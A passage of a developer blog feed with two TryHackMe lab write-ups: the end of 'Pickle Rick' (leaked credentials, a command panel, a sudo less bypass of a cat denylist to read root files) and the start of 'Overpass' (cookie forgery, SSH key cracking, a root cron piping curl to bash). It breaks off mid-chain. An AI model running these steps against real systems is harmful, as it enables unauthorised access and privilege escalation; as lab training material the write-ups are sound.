&lt;p&gt;That's it. The entire file. No &lt;code&gt;User-agent&lt;/code&gt;, no &lt;code&gt;Disallow&lt;/code&gt; — just the password sitting there like it owns the place. &lt;code&gt;robots.txt&lt;/code&gt; is not a security mechanism; it's a suggestion to search engine crawlers, and every attacker checks it within the first minute.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Where Found&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;R1ckRul3s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Wubbalubbadubdub&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTML comment / &lt;code&gt;robots.txt&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Feroxbuster with PHP, TXT, and HTML extensions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.134.98/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant hits only)
200  http://10.49.134.98/login.php
302  http://10.49.134.98/portal.php  =&amp;gt;  login.php   # ^^^ redirects unauthenticated users
200  http://10.49.134.98/robots.txt
200  http://10.49.134.98/index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;portal.php&lt;/code&gt; redirects to &lt;code&gt;login.php&lt;/code&gt; when unauthenticated — meaning there is a session gate, but we already have the key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Navigating to &lt;code&gt;login.php&lt;/code&gt; and submitting &lt;code&gt;R1ckRul3s&lt;/code&gt; / &lt;code&gt;Wubbalubbadubdub&lt;/code&gt; drops us into &lt;code&gt;portal.php&lt;/code&gt; — Rick's command and control panel, complete with a navigation bar for Commands, Potions, Creatures, and Beth Clone Notes. Everything except Commands redirects to &lt;code&gt;denied.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Only the REAL rick can view this page..
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Commands page, however, is fully functional. It's a text input that executes arbitrary system commands and returns the output directly in the browser. There's no authentication beyond the session cookie, and we're already authenticated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;No reverse shell was needed for this challenge. The web command panel provided sufficient access to read all three ingredient files directly. In a real engagement this panel would be the first step toward establishing a proper reverse shell for persistent access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;Escalation here is privilege-by-sudo-misconfiguration rather than a system-level exploit — see Exploitation below for the full command filter bypass that got from webroot access to &lt;code&gt;/root/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;p&gt;Listing the contents of the web server's document root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two files of interest: &lt;code&gt;Sup3rS3cretPickl3Ingred.txt&lt;/code&gt; (ingredient 1) and &lt;code&gt;clue.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Attempting the obvious:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;Sup3rS3cretPickl3Ingred.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cat&lt;/code&gt; is blacklisted. This is a denylist approach to command filtering — blocking specific command names rather than allowing only safe ones. Denylists are notoriously incomplete; Linux has dozens of ways to read a file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo less&lt;/code&gt; works because the filter blocks &lt;code&gt;cat&lt;/code&gt; by name, not by capability. &lt;code&gt;less&lt;/code&gt; is a file pager, &lt;code&gt;sudo&lt;/code&gt; elevates the execution — and crucially, the &lt;code&gt;www-data&lt;/code&gt; user running the web server has been granted passwordless &lt;code&gt;sudo&lt;/code&gt; access, which is its own separate misconfiguration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;less Sup3rS3cretPickl3Ingred.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mr. meeseek hair
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;less clue.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Look around the file system for the other ingredient.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rick
ubuntu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home/rick
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;second ingredients
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The filename has a space in it, which requires quoting when referenced as an argument.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;less /home/rick/&lt;span class="s2"&gt;"second ingredients"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1 jerry tear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;www-data&lt;/code&gt; user has &lt;code&gt;sudo&lt;/code&gt; access, which means it can read files in &lt;code&gt;/root/&lt;/code&gt; — a directory normally accessible only to root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo ls&lt;/span&gt; /root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3rd.txt
snap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;less /root/3rd.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3rd ingredients: fleeb juice
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All three ingredients recovered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo head&lt;/code&gt; on the second ingredient.&lt;/strong&gt; After discovering the filename, the first instinct was &lt;code&gt;sudo head&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo head&lt;/span&gt; /home/rick/second ingredients
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;head&lt;/code&gt; is also on the blocklist — same category of tool as &lt;code&gt;cat&lt;/code&gt;. Switching to &lt;code&gt;less&lt;/code&gt; resolved it immediately. This took an embarrassingly short time to figure out, but it's worth noting that any file-reading utility not on the denylist will work here.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ingredient&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1st ingredient&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mr. meeseek hair&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Sup3rS3cretPickl3Ingred.txt&lt;/code&gt; (webroot)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2nd ingredient&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1 jerry tear&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/rick/second ingredients&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3rd ingredient&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fleeb juice&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/3rd.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Username hardcoded in HTML comment&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Never store credentials or usernames in client-deliverable files; use server-side session management&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password stored in &lt;code&gt;robots.txt&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;robots.txt&lt;/code&gt; is publicly readable — never store sensitive data there&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated command execution panel&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Remove or gate any command execution interface behind strong multi-factor authentication; ideally, don't expose one at all&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;cat&lt;/code&gt;/&lt;code&gt;head&lt;/code&gt; denylist instead of allowlist&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Allowlist-only approach: define exactly which commands are permitted rather than trying to block dangerous ones by name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;www-data&lt;/code&gt; granted passwordless &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Web server processes should run with minimal privileges; never grant &lt;code&gt;sudo&lt;/code&gt; to the web service account&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;A command filter is only as strong as its list is complete — blocking &lt;code&gt;cat&lt;/code&gt; while leaving &lt;code&gt;less&lt;/code&gt;, &lt;code&gt;more&lt;/code&gt;, &lt;code&gt;tail&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, and a hundred other file-reading utilities open is not security, it's theatre. Always allowlist what's permitted rather than trying to denylist what isn't.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Pickle Rick&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>The Login Check Only Lived in the Browser — I Just Skipped It — Overpass (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:42:11 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/the-login-check-only-lived-in-the-browser-i-just-skipped-it-overpass-tryhackme-3n67</link>
      <guid>https://dev.to/cyberfarhan/the-login-check-only-lived-in-the-browser-i-just-skipped-it-overpass-tryhackme-3n67</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; Broken Client-Side Authentication / Cron RCE&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Overpass&lt;/strong&gt; is a THM Easy box built around a textbook broken authentication flaw (OWASP A07:2021) and a classic remote-code-execution-by-cron privesc. The foothold needs no exploit code at all — just reading the JavaScript the server already hands you and noticing it never actually checks anything. The escalation is a &lt;code&gt;curl | bash&lt;/code&gt; pattern running as root, made trivially hijackable by a world-writable &lt;code&gt;/etc/hosts&lt;/code&gt;. Neither step involves a CVE; both are configuration and design failures that show up in real environments constantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_initial.txt 10.10.x.x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version / Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 7.6p1 Ubuntu 4ubuntu0.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Golang net/http server — "Overpass"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two ports. The HTTP server is a Go binary advertising itself as a "military-grade, open-source password manager." No obvious framework CVEs to chase — this is custom code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.x.x &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-o&lt;/span&gt; gobuster.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Login form&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/aboutus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Static page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/downloads&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;App's own Go source + binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;/css&lt;/code&gt;, &lt;code&gt;/img&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Static assets&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;/admin&lt;/code&gt; is the obvious target. &lt;code&gt;/downloads&lt;/code&gt; looks tempting but turns out to be a distraction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Before touching the form, DevTools → Sources → &lt;code&gt;login.js&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;usernameBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;passwordBox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;postData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/login&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;statusOrCookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;statusOrCookie&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Incorrect credentials&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;loginStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Incorrect Credentials&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;Cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SessionToken&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;statusOrCookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API returns either the literal string &lt;code&gt;"Incorrect credentials"&lt;/code&gt; or a token. The client treats anything else as valid and stores it. &lt;code&gt;/admin&lt;/code&gt; itself only checks that &lt;code&gt;SessionToken&lt;/code&gt; exists — there's no server-side session table being consulted at all. This is an IDOR's cousin: not "guess someone else's ID," but "there was never a lock on the door."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SessionToken=whatever&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reload &lt;code&gt;/admin&lt;/code&gt;. The panel renders a note to James and, beneath it, his RSA private key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
...
-----END RSA PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Proc-Type: 4,ENCRYPTED&lt;/code&gt; — passphrase-protected. The key alone isn't enough.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;600 id_rsa
ssh2john id_rsa &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; james_hash
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt james_hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
james13          (id_rsa)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Key passphrase&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;james&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;james13&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SSH (via private key)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa james@10.10.x.x
&lt;span class="c"&gt;# Enter passphrase for key 'id_rsa': james13&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;james@overpass-prod:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1001(james) gid=1001(james) groups=1001(james)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Already a full TTY via SSH — no PTY upgrade needed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tex"&gt;&lt;code&gt;thm&lt;span class="p"&gt;{&lt;/span&gt;65c1aaf000506e56996822c6281e6bf7&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; root curl overpass.thm/downloads/src/buildscript.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every minute, root fetches a script by hostname and pipes it straight to &lt;code&gt;bash&lt;/code&gt;. No pinned IP, no signature check — whatever &lt;code&gt;overpass.thm&lt;/code&gt; resolves to, root executes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;World-writable. &lt;code&gt;james&lt;/code&gt; can add an entry for &lt;code&gt;overpass.thm&lt;/code&gt; and the root cron will fetch from wherever it's pointed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Broken client-side auth&lt;/strong&gt; — &lt;code&gt;/admin&lt;/code&gt; trusts cookie presence, not validity → leaked RSA key for &lt;code&gt;james&lt;/code&gt;
&lt;/li&gt;
